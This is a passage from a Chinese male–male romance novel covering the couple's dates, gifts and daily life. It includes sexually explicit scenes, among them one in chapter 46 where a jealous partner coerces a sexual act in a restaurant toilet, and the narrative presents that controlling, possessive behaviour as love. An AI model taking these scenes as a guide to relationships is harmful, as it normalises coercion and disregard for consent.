刚把一个包子喂下去,萧疏用一次性筷子抬起他的下巴,“看我,”方闻钟被迫,差点噎到,最后还是萧疏离开他紧急喝了一口粥才咽下去。 眼神七上八下,还是看向微笑的萧疏。 “哥哥,不用怕,不用害羞,我们做过最亲密的事,是因为我喜欢你,爱你,我们是一对啊,不是兄弟,你不要尴尬,和我昨晚那样,会让你快乐吗?” 当然,只不过之前的欣喜快乐,都被刺激和恐慌压下去了,现在,他们面对面坐着,看到萧疏,听到他说话,方闻钟才觉得,粥是甜的,空气也是甜的。 他含糊地嗯了一声,整个人突然弯着腰,软成萧疏最喜欢的样子。 吃完早饭去书店,萧疏说:“今天我陪你。” 方闻钟莫名其妙就脸红了一下,他今年虚岁二十五,早不小了,可还是联想到高中时男女生早恋的样子 ,他们这也算约会吗? 挺别扭,但他没赶萧疏走。 短短的路程里没说上几句话,方闻钟觉得突然的关系转变太别扭了,尽管,他昨晚已经陪萧疏闹到最过分的样子,他实在想不到,两个男人,还有什么状态会比他们之前更亲密,可现在坐在书店里,看着站在那边看书的萧疏,他又觉得他们还没那么亲密。 挺矛盾。 他摸了一把自己的头。 “今天我帮你?”萧疏忽然回头,“你这里的书分类都放错了,把受欢迎的尽可能摆到前面。” “好,”方闻钟要起身,被萧疏用眼神示意,“坐着吧。” 他修长的身影在一列列书架面前缓慢移动,方闻钟看着看着,就入迷了,进来学生说话的吵闹声,才把他一下子喊醒来。 “萧学长。” 萧疏在学校里一下众人皆知,他们跑过去和萧疏说话,有男有女,萧疏解释今天是帮朋友卖书,有需要可以帮忙,没事就别打扰他。 看到他对待外人别无二致的清冷神色,方闻钟再听到那句帮朋友,提起的精气神忽然松懈下去,他干脆趴在收银台上,一边翻着武侠小说,一边偷偷抬眼看那边。 萧疏带学生们过来交钱了,他就站在方闻钟身边,方闻钟想给他让位置,肩膀上被他用一只手压住。 让他别动。 萧疏忽然弯下腰来,他紧紧靠着他,脸颊向下弯去,在抽屉里找零钱。 方闻钟脑袋贴在他腰上,就这,萧疏还趁机一手挽住他脖子,从后面伸过手来抬起他下巴。 面前是注视着他们亮晶晶的几个本科学生,方闻钟撇开脸,他脸红了。 被人取笑,“萧学长,你和店老板真是朋友吗?看不出来啊,你们关系好好。” 萧疏终于没吝啬微笑,“当然,我们关系是挺好,”把零钱递过去,人走了,他直起身。 那只摸着方闻钟下巴的手还没离开,一点点蹭着他的脸颊。 他趁方闻钟不注意,低头在他脸上亲了一下。 方闻钟吓得立马回头,左右张望。 萧疏却捧住他的脸,书店门口门大张着,谁都可能随时进来,萧疏怎么能那样做!他不怕吗? 萧疏看到他紧张地睁大眼,眼底布满无措,又亲了一下。 只不过这次实打实亲在嘴上。 萧疏离开收银台,背对着他,继续整理书架,他的声音从几步远处传来,“哥哥,放心,我和你在一起不是让你感觉到恐惧的,相信我,也相信你自己,我们只是互相喜欢,这不是错,我们,在谈恋爱。” 在他温和沉稳的话语中,方闻钟一点点垂下身躯,“好,我知道了。” 下午装那批灯具,平时这些都是方闻钟的活。 现在萧疏一样样拿出示意图,看了半晌,他上去梯子,让方闻钟在下面给他递东西。 “小梳子,要不还是我来吧,我没事了,不疼了,”方闻钟别扭地对他说。 萧疏站在梯子上,闻言,弯腰,“可是我想帮你做啊,不然怎么能体现我的价值呢?” “哥哥,”他一边仰头拧着螺丝,一边说:“你在我身边帮我做过太多事了,现在我也有了能力,还有身份,让我照顾你不好吗?” “和你在一起,哪怕干再重再烦心的活,看着你,我也是高兴的。” 灯啪一下点亮。 方闻钟差点溺毙在他的温柔里。 第二天傍晚,萧疏急急忙忙下课朝他赶来,他包里背着东西,好像是要送给方闻钟的,方闻钟被他欣喜也不打算瞒他的眼神,搞得又喜又好奇。 “什么呀,你要给我什么东西?” “你猜,”方闻钟手伸在背包里,马上就要拿出来。 方闻钟奇奇怪怪地乱猜陪他玩闹了一会儿,才得到答案,是一部新智能机。 方闻钟因为店里卖这个品牌的东西,所以知道价格,这部手机大几千块钱,很不便宜,他心疼极了,“给我的?” “小梳子,我用不上,我就是平时打打电话发发短信。” 萧疏却已经把新手机盒子递给他,“只要你想用,自然用得上的,方闻钟,不是经常鼓励来你这里的学生好好学习吗?你也好好学习,别排斥新东西。” 方闻钟只是觉得他不配。 而且,萧疏还说,这是他用自己的论文稿费买的。 心软成一团,萧疏怎么这么好啊,他给萧疏送手机,是惦记着他,萧疏现在又给他送,也是因为惦记他。 他认认真真地拆开盒子,盒子里是一部黑色薄屏手机。 萧疏的是白色的。 “我觉得还是这个颜色合适你,”萧疏说。 “嗯,”方闻钟抬头,眼泪花花的,“我很喜欢,小梳子。” “回去吧,哥哥,我想吃你做的饭了,”萧疏趴在他面前,从下往上看着他。 方闻钟什么都愿意答应。 往回走的路上,他们并肩向前,两个大男人,不一样的帅,还都大高个,挺显眼的,尤其萧疏皮肤白的特立独行,为他的好看更添一层诱惑,路上引起好些人回头看他们。 萧疏忽然在下面拉住方闻钟的手,两人一起穿过热闹的年轻人群。 方闻钟直接傻了,萧疏竟然牵他手。 这里这么多人看他们,认识萧疏见过他的也不少,可萧疏垂着眸,拉住他手的动作一点也不像无意,他就那样自然而又固执地牵着他。 或许没人多想,但方闻钟忍不住置身火炉,本来一米八几的大男人,身材脸庞都显凶相,这一下,在萧疏身边像一个乖巧的手办。 进了楼梯,光线没那么明亮,方闻钟才敢动动僵硬掉的胳膊,手心都出汗了,不知是紧张的还是害怕的,萧疏站在高一阶台阶上,回头看他。 他还在上面拉起他的手。 “跟我走吗?” 方闻钟一点点在他手里把自己的手也握紧,什么话也不说,于是他们继续牵着,直到到了家里。 “其实还有一个礼物要送给你,”背包就在旁边,萧疏坐在床上。 “哥哥,坐上来,主动亲一下就给你。” 方闻钟咬着牙,坐上去,一回生二回熟,亲吻也是。 他用的全是萧疏的技巧,分开他的唇瓣,又舔又咬,萧疏被亲得呼吸渐乱,他自己早弯了腰。 幸好萧疏支撑着他,不然方闻钟早塌在床上了。 把人往怀里又抱了几分,方闻钟默默对比了一下他和萧疏的胳膊大腿粗度,明明他比萧疏壮,但萧疏力气比他大多了。 他早就知道的不是嘛,萧疏很会打架。 幸好如此,他能随便处置他,单手抱起来都行。 萧疏另一只手拉开背包拉链,这次,全部露出来,一束火红的玫瑰,就这样奇迹般地出现在方闻钟眼前,他都以为是在做梦。 花香味扑鼻而来,他傻乎乎地抱着花,呆住看把花送给他的萧疏。 “今天情人节啊,”萧疏笑着,过来轻柔地亲了一下他嘴唇。 “哥哥,情人节快乐。” “老公。” 这句话不是方闻钟叫出口的,是萧疏在教他,“这才是我们的关系,我是你的谁,你是我的谁,记住了吗?是一样的。” 方闻钟在萧疏怀里抖成了筛子,这个通俗的词汇,在这个特殊的日子,被萧疏像烙印一样打在他的灵魂上。 眼泪说掉就掉。 “想吃哥哥做的饭,还想吃,哥哥。” 最后湿润全被萧疏亲掉。 第45章 方闻钟:“你再叫声我老公。” 萧疏的日子从此变得两点一线,学校和方闻钟这里,除了学习外的生活,他只有他。 方闻钟更夸张,店里想萧疏,在家里想萧疏,和他在一起看着他的眉眼还是会想他。 他们在姥姥眼皮子底下会收敛很多。 有萧疏陪着,方闻钟会带姥姥去远一点的地方,他们还没正儿八经在市里逛过。 姥姥一辈子也没出过远门。 两个大男人推着姥姥,去公园晒太阳,有时候碰到跳舞喝茶的,姥姥会在后面咿呀咿呀跟着唱两句,跳几下。 没人听出来她在唱什么,说跳也只是伸伸胳膊伸伸腿,但看到姥姥幸福的脸,方闻钟也觉得挺高兴。 萧疏一边给姥姥录像,一边笑得不能自已。 “姥以后清醒了,一定要给她看看她出丑的样子。” 方闻钟捣了他一下,没大没小。 他们都知道,姥姥清醒的可能性很小,但老人就这样过着,也挺好。 他的大孙子一直陪着他,也越来越有出息,有钱。 出门一切花销,方闻钟都包揽了,萧疏和方闻钟两人,还被公园里一角几个大妈盯上了,其中一个自来熟地上来拉萧疏胳膊,和他高兴说话,一问才知道,是想给他们介绍对象! 竟然是相亲的。 方闻钟都傻眼了,一时怔住不知道怎么办,期间还有点紧张地想抓住萧疏,可这么多人看着他不敢有亲密动作。 萧疏却自然道:“我哥结婚了,我才十八,就是个高,但还小。” “啊,这样啊,”大妈们走了。 方闻钟忍了又忍,终于咯咯笑出声来。 萧疏从头到尾和他没有一点避嫌,趴在他肩膀上凑近他耳朵,“哥哥,我说十八怎么了?我脸不嫩吗?钻石男高听过没?我的能力不相上下吧?” 他的荤段子方闻钟还听不懂,但不妨碍方闻钟笑着哄他,“是是,你永远十八。” “还造谣我结婚了……”他小声嘟囔了一句。 还被萧疏听见了,嘴角勾起,声音冷漠,“你最好心里一直这么想,约束自己……” “哥哥,”把姥姥送回家,萧疏圈住他,“哪天我们去约会吧。” 择日不如撞日,这周末两人丢下店里让女店员一个人看着,他们去了商场。 倒不是没有其他好玩的地方,一是外面天热,逛着难受,二是距离近点而且萧疏想让方闻钟多在外面走走,多和人接触接触。 他们看了电影,吃了火锅,出来时送了两个冰淇淋,萧疏实在吃不下了,方闻钟强撑着一个吃完,另一个慢慢舔干净,他嘴巴上沾着奶油。 这个男人还不羁地吐槽,“太他妈甜了,要不是送的我才不吃。” “哈哈哈哈,”萧疏和他勾肩搭背,笑着说:“肯定没你甜。” 方闻钟懵逼地转过头看他,“你又不爱吃甜的。” “谁说的,”萧疏替他把奶油擦掉。 最后他们逛到电玩城,两人都来了兴趣,兑换了好多硬币他们贴贴一起全部体验。 方闻钟高中时可没咋玩过这些,萧疏也是,说白了原因太简单,两个穷鬼,没钱。 这下可给他们过瘾了,方闻钟玩起来,渐渐大嗓门,他四肢全伸出来,占据很大地方,一个人玩得不亦乐乎,还要时不时看看小梳子,然后嘲笑他。 他脸上的笑容太耀眼。 他彻底放开了,好像这里没什么值得顾忌的,他唯二在意的只有他自己和萧疏。 “哈哈哈哈哈哈。” “哈哈哈哈哈哈。” “小梳子,走,我们去玩那个摩托车!” “好,”他拉着萧疏,两人坐上去。 “比赛吗?”方闻钟挑眉。 萧疏:“可以,谁输了怎么办?” “输了,”方闻钟不知道想到了什么,突然声音低下去,有点害羞,“输了再说吧,”他急急忙忙道,“先玩吧。” 萧疏陪他。 摩托车比赛激烈又刺激,两人身体左摇右晃,巨大的声响传来,时不时是摩擦声,时不时是碰撞声,还有他们声控给自己加油,不知不觉,两人身后围了一帮小年轻,连小孩子都有。 两人水平都非常棒!你追我赶,方闻钟急得一直大喊,加油! “加油加油,快到了快到了!超过他!”不知道为什么,旁观方闻钟的人比看萧疏的多,一直给他呐喊。 萧疏身后,倒是有几个女生偷偷远观。 “耶!” 方闻钟一下松开把手!顿时转过去看萧疏,兴奋道:“我赢了。” “你赢了,”萧疏肯定他,他自己也玩得浑身冒汗。 围观者渐渐走了,他们也起来换地方,方闻钟一直在给萧疏说刚才的比赛,他有哪些幸好超过了萧疏,紧张刺激的时刻,才迎来最后胜利。 萧疏也和他讨论。 那股高兴劲好长时间才下去,方闻钟抿了抿唇,咂摸了一下,忽然道:“小梳子,你刚不会是在让我吧?” 他对他赢萧疏这件事,现在有点不确定。 萧疏停住脚步,“怎么可能?我凭什么让你,我们还有赌注呢!” “哦哦,我以为你是故意让我的,你那么厉害,”方闻钟讨好他,自从发现萧疏打架超厉害,他就觉得他会做什么都不稀奇。 “我又不是神仙,”萧疏胳膊一下揽住他脖子,“愿赌服输,技不如人,我输了,你要让我干什么。” 方闻钟突然嘴巴紧闭如蚌,半天不愿意说,这倒让萧疏有点好奇,“怎么了,有什么为难的,说来听听?” 方闻钟凑近他耳朵,“小梳子,你再喊声我老公。” 这就是输的代价。 萧疏突然眼神紧缩,饿狼扑虎,他和方闻钟分开,离他十来公分,萧疏把手插兜里,“呵,方闻钟。” 他只是叫了一声他名字。 方闻钟有点失望,但也还好。 他们走着走着,就到了抓娃娃区,还有二十多个硬币,干脆在这里消耗完。 方闻钟试了几次,他怀疑自己是不是手脚不灵活,怎么就一个都抓不出来! 萧疏看不下去了,在后面抱上来下巴搭在他肩膀上,两只胳膊围上来手抓住他手。 骤然亲密的动作让方闻钟有点僵。 萧疏看着娃娃机里彩色的娃娃,却是不经意地对方闻钟说:“别怕。” 有从他们背后路过的,有些会看他们,有些无视,人走近了,萧疏会喊:“哥,我们抓这个怎么样。” “哥。” “哥。” 他们好像真的兄弟和一家人,一声声哥,哥里,还有一个个硬币丢进去,夹子却抓不上娃娃的气急败坏声! 方闻钟也放松了,和他专注眼前。 突然,一直棕绿色的小恐龙,被颤颤巍巍地夹起来,在他们专注的注视下,一下掉下来!他们在最后三个硬币时,终于成功了! 方闻钟差点跳起来,笑脸刚转过去想和萧疏庆祝,萧疏依旧趴在他耳边,忽然柔柔地说: “老公。” 回去的路上,方闻钟和萧疏分开坐在计程车两侧,他们不再黏糊,方闻钟整个人却像被糖水泡过,黏兮兮,甜滋滋,乍然朝萧疏看过来的眼神,躲闪又害羞。 他知道,他很喜欢他。 他也是。 让人欢喜又上瘾的日常,一天天过着,所有人都能发现方闻钟的变化,他爱笑,干啥都积极,说话不再遮掩,吞吞吐吐。 喊谁都大嗓门。 女店员有时候都被老板的笑声震到,随着也笑出来,他很感染人。 萧疏又陪方闻钟淘了一批武侠小说,他是真爱看,忽然就很幼稚,看到萧疏嘿嘿哈咻,不管萧疏配不配合,他都要抱上他肩膀,兴奋地给他说剧情。 他们宛若真是关系很好的竹马,好兄弟。 一切,会在夜晚发生变化。 萧疏压在他背上,他们赤裸着,负距离接触,方闻钟脸下是那本萧疏的画本,萧疏一页页翻给他看,“哥哥,我们做到哪儿了?” “这个姿势学会了吗?” “哥哥,你怕什么,睁开眼看看啊,”他突然从背后一顶,方闻钟不得不昂起头,眼睛红红地看眼下的本子。 许久,他艰难地闭上眼。 那些画在他脑海里活了过来。 “萧,萧疏,别闹了。” “没有闹啊,”萧疏忽然连续动了好多下,十几分钟后,他们满头大汗,萧疏在方闻钟耳边说了一句脏话,“哥哥你好骚啊。” 方闻钟一把把本子攥紧然后扔下去,掉在地上却谁都不愿意管。 “算了,不欺负你了,”事毕,萧疏把本子捡起来。 方闻钟还趴着,不想动,他胳膊抬起来垫在脑袋下面,迷迷糊糊地侧头看着地上的萧疏,后来萧疏拿着纸替他擦后面他知道,然后他拿起笔走过来方闻钟都还有点状况外。 萧疏把笔盖咬掉,一手摸在他后背,一手拿着笔。 尖锐的笔尖,触到光滑的皮肤,方闻钟抖了一下。 萧疏在写字。 不知道在他后背上写了什么,方闻钟听到他在嫌弃,“皮肤太黑了,哥哥你这里要注意防晒,”一次性写得不清晰,他又在描。 方闻钟不动,他写完,把笔盖上,然后扔桌子上去。 “写了什么?”那阵痒痒的感觉过去,方闻钟有些好奇。 “dirty talk.” 萧疏说。 方闻钟皱眉,不懂。 “哥哥,”萧疏摸了一下后背写字的那块地方,“待会儿就洗了去吧。” “好。” 第46章 萧疏:“我是在爱你。” 夜空的繁星日益变化,树木葳蕤,空气燥热,于是又到了一年盛夏。 研二上学期,萧疏的导师成了严老教授。 老教授和他第一次见面,还有两三个他的博士师兄姐,都是很厉害的牛人。 对萧疏师兄姐们醉于研究,倒没关注过,只是看到他如此出色的外貌,再知他以研究生身份拜入严老门下,起因就是那篇震动的论文,于是一时间对这个小学弟印象都很好。 严老是个很慈祥又很严厉的人。 学术方面,眼里揉不下一粒沙子,也看不过去任何敷衍了事,所以,尽管他已知道萧疏挺有本事,惜才才把他要过来,还是不假辞色没有过多夸奖他,只是勉励了一番更加严格要求。 私下里,他看着萧疏曾经在国际期刊上发表的论文,忍不住叹息,这个研究方向和他是一样的! 萧疏这么年轻就能做到这样的成果,很了不起。 在外面他不会多说,但是在家严老没少表达对这个新学生的喜欢和赞叹。 这就被他女儿听到了。 严老老来得女,叫严慈,他很宠爱她,恨不得把一切好的生活学习环境,都带给女儿,于是严慈小小年纪就走遍世界,经历了很多。 严老毕竟也老了,在国外的时候照顾不过来,再加上严慈也到了二十多岁的年纪,她一毕业,学的艺术直接选择自由职业,严老放纵她,也管不住她。 因此,在严老看不到的角落,严慈在男女感情一事上,也是历尽千帆。 她交过很多男朋友,今年陪父亲回国,开了个自己的工作室马上就和工作室内的一个小男生谈上了,三个月没过去,她就腻了。 想找一个和以前男朋友都不一样的男人,听到父亲几次提起萧疏。 她眼睛一转,“爸,明天我陪你去学校怎么样?国内的大学我还没经历过呢。” “行,”严老答应,总得让她见见祖国母亲的样子。 严慈陪父亲到学校,她听到了关于萧疏的传说,都说他很帅!一届又一届的新生上来,从来没有把他校草的名头挤下去过! 一个书呆子长这么帅?严慈对萧疏的兴趣更增添了些。 还听闻,萧疏在学校很孤僻,过去半年更是,可能他经历了被人误会吧,众人也感慨,是他们的错,于是只能偷偷仰望,偷偷崇拜,在一众学生这样的引导下,萧疏的名字,好像开始被神化了! 严慈见到萧疏的第一眼,就觉得不虚此行! 她完全被惊艳住了,那时,她站在楼上,萧疏刚从楼下台阶处转过身,往上走,她看到他挺拔的身影,还有毛茸茸的头发下,线条流畅的脸颊,他穿着白色短袖牛仔裤,严慈觉得他在白得反光。 萧疏走到她跟前,倒是面不改色,直接从她旁边略过去了。 清冷的眉眼没有丝毫变化。 严慈直觉,这个人很不好相处,她歪了歪头,很快,朝父亲的办公室走去。 她特意等他们谈完正事,才假装逛完了进去,严老只好给萧疏介绍,“这是我女儿,严慈。” “萧疏。” 好几次,严慈从后面追上来,跟着萧疏,她自顾自跟他说话,她学艺术的,知道的又多,抛开态度不谈,只听她的话,并不会让人生厌。 但一周过去了,严慈也发现,萧疏这个人油盐不进,他太冷漠了,好像眼里容不下一个雌性生物。 严慈对于谈男朋友,没那么偏执,她不是只好一口的人,对每一类男性都懂得欣赏。 无论是颜值也好,身材也好,或者有趣,幽默,懂一样她不会的手艺……更甚至只是单纯叫她姐姐她爱听…… 总之,她谈过形形色色,也喜欢过形形色色,对萧疏这一类清冷学霸,也只觉挺有意思,并没有美化滤镜。 都打算放弃了,她又听到一个传闻。 萧疏没谈过女朋友。 “啊?”严慈很惊讶,随即猝不及防地笑了,“那我得让他体验体验啊,”她捉弄人的心思又上来了。 其中百分之八十,还是不甘心,对萧疏的外表和性情,真有那么点喜欢。 她站在萧疏身边,撑着桌子说:“萧疏,这是我们第几次见了?你比我大一岁,也算我的师哥嘛,不妨带我转转你们学校?” 萧疏带着防护眼镜,把手里的管子放下去收拾好。 他终于肯给她一个正眼,严慈,嘴角莫名其妙笑了一下,因为拜入严老门下,他们也提前见面了,而她和方闻钟,不知道也会不会提前见面。 严慈还没感觉到他的冰冷,萧疏是个二十多岁的雏,她手过去搭在他手上,撩拨了一下。 严慈露出一个无懈可击的笑,“师兄?” 手指点了点他手背。 等着他说什么。 萧疏过了良久,才貌似很正常地把手从她手下拿过来,严慈正觉得好玩,萧疏下一句话就把她打入地狱,让她羞到脸白。 “这里有监控,你勾引男人的本事可真低级,”他怎么能说出这么赤裸的话! 严慈这才觉得,她把萧疏想得太简单了。 “你父亲知道你天天在我这里性骚扰吗?不满足了就去大街上找别人,”萧疏都准备走了,严慈僵住一动不动,他又回过头来跟她说:“这里禁止带你的香水进来,严慈,很难闻。” 从此他在学校里,再也没见过她。 这件事发生在校内,萧疏不说,方闻钟也不知道。 方闻钟现在知道了,萧疏在学校里真没几个特别交心的朋友,可能和他性格有关,现在方闻钟不会再小心眼地吃醋了,反而有时候多劝劝萧疏,“多交交朋友啊,朋友多,好办事。” 他这样说时,萧疏总是似笑非笑地看着他,并不反驳。 方闻钟只是被萧疏给的安全感满足了,要是萧疏真乐于交朋友,他说不定肯定会私下里偷偷吃醋。 萧疏的爱人怎么了,他也是他唯一的朋友!从小到大的朋友! 谁都不能挤占他的位置,要是萧疏朋友多了,占据了他的时间,他们在一起的时间肯定少了,方闻钟不乐意,幸好,萧疏也一直没给他不乐意的机会。 连学生会部门聚餐,他都带他一起去。 十几个两三年一起工作过的同学,算一句普通朋友,开始是谁说了句带家属,萧疏说:“那我也带。” “哦哦!”他被起哄了。 但知道是他哥哥后,又歇了起哄的心思,很快接受了。 萧疏对方闻钟说去一起吃饭,玩,大家都带家属,方闻钟也跟着去了,没有不好意思。 是因为他压根不知道,他们之间的“带家属”是什么意思。 所以跟着萧疏去吃饭他还挺放得开。 饭局上,大家难免对方闻钟这个外人很好奇,方闻钟现在有点他高中时期的样子,爱交朋友,爱收小弟,当然面前的同学们不至于,但他也不会自卑,萧疏陪在他身边,没人会知道提起他坐过牢的事。 他像一个很成熟很大气的社会朋友一样,跟这帮同学说得有来有回,时不时放声大笑。 气氛松快又热闹。 方闻钟爱看小说,有很多跟他有相同爱好的人,彼此推荐说得越来越远…… 连几个女生都听他们讲话,方闻钟被灌了几杯啤酒,女生们看着他发红的爽朗的脸颊,莫名其妙就互相贴在一起,讲悄悄话,然后不知道笑什么。 从头到尾,话少的萧疏反而越来越像不是一起的。 男生们带了女朋友,女生们也带了男朋友,也有落单的,方闻钟没看出来这种暧昧的氛围,萧疏要喝水时,萧疏旁边一个女生不小心把自己的杯子打翻了,顿时,水流一下子往下流倒在她腿上! 女生穿的裙子,慌乱地站起来,期间小心翼翼看了萧疏几眼。 萧疏没反应,方闻钟从他左手边伸过头看了一眼,他赶紧把自己的衬衫脱下来,递给女生,“你围上吧,”他没有多看。 饭桌上只有方闻钟一个人穿了两件衣服,他短袖衬衫下面是一件黑色工字背心,之所以大热天再穿一件,是因为怕晒黑了。 萧疏的话他一直记着,该防晒时就防晒。 萧疏右手边女生裙子湿得有点多,还挺透,方闻钟的行为无疑替她解了围。 饭桌上大家都对他印象很好,其中还有几个单身的女生看出了苗头,好姐妹醉翁之意不在酒啊,不过萧疏太冷了,没动静,还好方闻钟及时反应,才没让大家察觉出异常。 萧疏继续不动声色地喝水,方闻钟脱掉了外衣,背心把他健硕的肌肉勒得贲张又色情。 男性美好的肉|体就在眼前,饭桌上,他渐渐吸引了不少女生的目光过来。 包括有男朋友的,一脸微笑看着他。 萧疏忽然放下杯子,他在桌子下踩上了方闻钟的脚。 方闻钟顿时感觉到,朝他转头。 萧疏说:“我去一下卫生间。” 方闻钟像椅子上有刺似的,过一会儿也打哈哈,“我也去趟卫生间。” 他们两人都走了,关于他们的谈话越来越刺激,卫生间内,方闻钟一进去就看到萧疏在洗手。 没事啊,他还以为萧疏踩他怎么了,他也赶紧钻进去,撒了个尿,甩了甩,把裤子提上。 刚收拾好准备出去,他这一间的门被推开了。 萧疏进来。 嗯? 方闻钟喝酒后有点上脸,看到萧疏一手在背后把卫生间门关上,他有点发愣。 “萧疏?” “嗯。”萧疏冷淡。 过了一会儿,萧疏突兀地说:“喜欢哪个女生?” “啊?”方闻钟小腿肚子贴着马桶。 “很爱解围吗?很爱露肉?”萧疏冷到有点刺的目光在他上半身扫来扫去,“跟她们说话你很兴奋?” “方闻钟,”萧疏离方闻钟越来越近,他们贴着,方闻钟被逼着往后倒退。 “是不是我耽误了你,我把你从正道上拐到为人不耻的路上,你本来喜欢女生,只不过被我操了?” 难堪的话语钻进方闻钟耳朵,他却下意识抓住萧疏的手腕,耳朵通红,还要侧着头哄萧疏,“不是,不是,我就喜欢你。” “不喜欢女生吗?” “不,”他坚定地摇头。 “喜欢男的?” 方闻钟还是摇头,“我就是喜欢你。” 萧疏身上的刺才下去一些,殊不知他看到对他有意思的女生,故意把水泼在身上,方闻钟还要上赶着当护花使者,从而引来好多女生对他有好感,看他,欣赏他的身材,他有多生气。 “把裤子脱了。” 萧疏忽然说。 牛仔裤被退下去,方闻钟今年本命年,所以他也随大流穿着大红色的内衣裤,这个鲜亮的颜色,他这幅样子暴露在萧疏视角下,方闻钟觉得羞耻极了。 他很听话,正要捂脸,萧疏突然从自己裤兜里摸出个什么东西。 下一秒,激光笔打在他大腿上,上下移动。 萧疏没有触碰他,那个绿点却在他腿上游走,他指着这里,“方闻钟,你捂白了,”又指着那里,“方闻钟,你该刮腿毛了。” 在某一处他曾经留过牙印的地方,他驻足得格外久,却没说话。 方闻钟再从卫生间出来,整个外放的气势全收起来,他走路不太自在,脸色越来越红。 跟大家说‘喝酒喝太多了’……坐在椅子上坐立难安,他沉默不语,此刻,话多的人成了萧疏。 那只激光笔,从萧疏的衣服里,转移到方闻钟身体里。 是萧疏让他自己塞进去的。 那里早上清洗过容纳过更粗的东西,所以方闻钟的动作并没有那么吃力,他还得夹紧了害怕掉出来。 卫生间后来,发生了什么? 萧疏说:“我很坏,我知道你这样做没错,我只是在借题发挥罢了,哥哥,别让我伤心,你会允许我犯这种错吗?” 方闻钟软乎:“不是犯错,可,可以的。我会注意的,以后我会和她们保持距离。” 萧疏:“不用,你正常社交就好。” 那只是他变态的占有欲罢了,其实方闻钟给他这种为所欲为的机会也挺好。 “哥哥,下次再让我抓到小辫子,可就不是这么回事了。” 他是故意的!正如他所说,可能不高兴有几分,但借题发挥才是本质! 从踩脚,到塞物体,方闻钟还是能感觉到萧疏偏执的行为下,对他的保护和爱意。 “你欺负我。” “哥哥,那你愿意吗?” 方闻钟刚点头。 他亲上他,“我是在爱你。” 第47章 方闻钟坚定地拉上萧疏的手。 夜晚燥热,两个人躺在凉席上,都不用盖被子,方闻钟现在不愿意脱衣服了,尽管有点热,萧疏倒是和以前不一样,他裸睡更好。 萧疏很爱蹂躏他的身体,尤其钟情于胸肌腹肌那里,他还总让他放松,然后把那里揉得又痛又痒。 方闻钟穿着背心和大裤衩从浴室出来,萧疏正躺在枕头上手臂枕在头下一手拿着手机看显示屏。 方闻钟像条大狗一样,头发还在滴水,他就摇头晃脑过来把水滴甩得溅了萧疏一脸。 “嘿嘿,”然后他趴在萧疏身上朝他友好地笑。 水滴顺着萧疏的脖子,一滴滑了下去,藏在他白色短袖里。 方闻钟盯着盯着,就入迷了。 萧疏从手边拿过一条毛巾,一下扔他头上盖住他,“擦干净上来,今天有事要做。” 方闻钟慢悠悠地擦着头,萧疏说有事要做,他想歪了,于是把毛巾放浴室里,再出来果然把自己脱得只剩一条小内裤,紧巴巴地绷在丰满的臀部上。 萧疏不小心看到,握紧手机,眼神深邃又好笑。 人上来自动贴近他,他顺势让他枕在他胳膊上,把他抱住。 小床上两个长条条的人一黑一白,像可口的夹心饼干,萧疏正要把方闻钟的手机也拿过来,跟他说事,因为要从桌子上取手机,他不得不伸长另一只胳膊,侧身有点压在方闻钟身上。 方闻钟的视线和空间骤然变小,抬头就是萧疏的脖子,他看着看着,突然就抬头,也舔了一下萧疏的喉结,“小梳子,你也把衣服脱了吧。”他最烦每次干什么时,萧疏衣衫完整,而他被脱得精光。 萧疏手里的手机差点摔下去,“你干什么!”他继续压在上面沉沉地问他。 方闻钟无辜。 萧疏定了一会儿,笑着摸摸他还不太干的头,“今天教你用用手机上的软件。” …… …… 半个小时后,两个人趴在床上,萧疏在里侧,方闻钟在外侧,他给他教怎么用新手机。 方闻钟拿着萧疏送的手机,还真简单用来打电话发消息,其他他都不怎么看。 萧疏先下了几个常用软件,教他用搜索引擎、看小说、看视频,还有看论文和看网课的,方闻钟震惊,其他还有四五个娱乐用app,“以后可以在手机上看到更多武侠小说了,”萧疏说:“多了解一下其他知识,不过这些都不重要。” “你不是在卖考研书吗,平时多看看这些网课,我要检查的,一天最少学习三节。” 方闻钟头大,手指迅速在网课列表扒拉了几下,“这些……是初高中知识吧?” 萧疏斜晲他,“一上来就让你看考研课程,你看得懂吗?” “我都……我学这些有啥用?”方闻钟无语,不是很想同意。 但萧疏是谁惯会抓他心思,几句话就让他再不情愿也要硬着头皮学! “我现在在读研,以后还要读博,你初高中学得全忘了,……还学得很差。你要当一个文盲吗?以后我们之间我说什么你都听不懂?” “方闻钟,这样可配不上我。” “慢慢来,你好好学,我不要求你一两月赶超大学生或怎样,也不求你完成什么目标,多学学,不会可以问我,我陪你,要是不学,就减少我们见面的时间。” 方闻钟一下眼睛红了,“哼,”过了一会儿他使小性子,“学就学!” “不过你可要好好教我,天天来见我!你知道我什么水平,不许再讨厌我笨,也不许再像高中一样,我一出错你就烦我不理我。” “嗯,”把人哄着学习,知道他这么大了离开书本很久也不容易,萧疏很有耐心地哄他。 “还有这个,”萧疏指着看论文的软件,刚要给方闻钟解释,就见他迫不及待地点开历史课程,然后饶有兴致地看了起来。 萧疏:“……” 他果然从他最爱的学科开始。 萧疏半天不讲话,方闻钟不知道他是不是生气了,理不直气也要壮,“你不是说一天学三节!你又没说学什么?” 见他这样龇牙咧嘴,萧疏也不客气,“历史算兴趣爱好课,每天学三节语数英。”直接强制要求他了。 方闻钟躺倒,闭眼,不看了,明天再学,谁能想到,他离开学校这么多年,还要受这个罪…… 萧疏亲了一下他嘴巴,“每天任务完成有奖励。” “好好好,”方闻钟抱住他手臂,“明天你就看吧!”他肯定能做到!一天啥也不干也要把三节课看完! 方闻钟走到哪里都要抱着一部手机,趴在书店里,他把曾经钟爱的武侠小说垫在下边,上边放着播放数学课的手机。 旁边还有一张草稿纸,被他刚才鬼画符般地写了些他自己才能看得懂的数字和符号。 走在路上,他播放着语文课磨耳朵,一边觉得这讲得好无聊,他三心二用逛街买菜,有时候又突然听到老师讲的某句话,噗呲笑出来,又觉得挺有意思,然后再把手机掏出来,进度条往回拉…… 英语课是他最讨厌的,他会在上厕所在家干家务时,边放得很大声,边叽里咕噜跟着说。 姥姥对他的印象好像突然回到了高中,看到孙子这么好学,高兴地天天笑脸哄他,“大孙子真乖,大孙子真乖,姥姥给你零花钱。” 然后把她兜里的一叠手帕递给方闻钟。 方闻钟又想哭又想笑。 方闻钟有一点好,他没有学习羞耻心,于是书店里女店员,来的学生,时间长了也发现他在学习初高中知识,好奇者会问:“老板,家里有小孩儿啊?给小孩儿辅导功课?” 方闻钟黑脸,“我他妈这么大能有十几岁的孩子?” “哈哈哈哈哈哈,”引来一堆嘲笑,然后继续看他学什么,夸他,“老板真努力。” 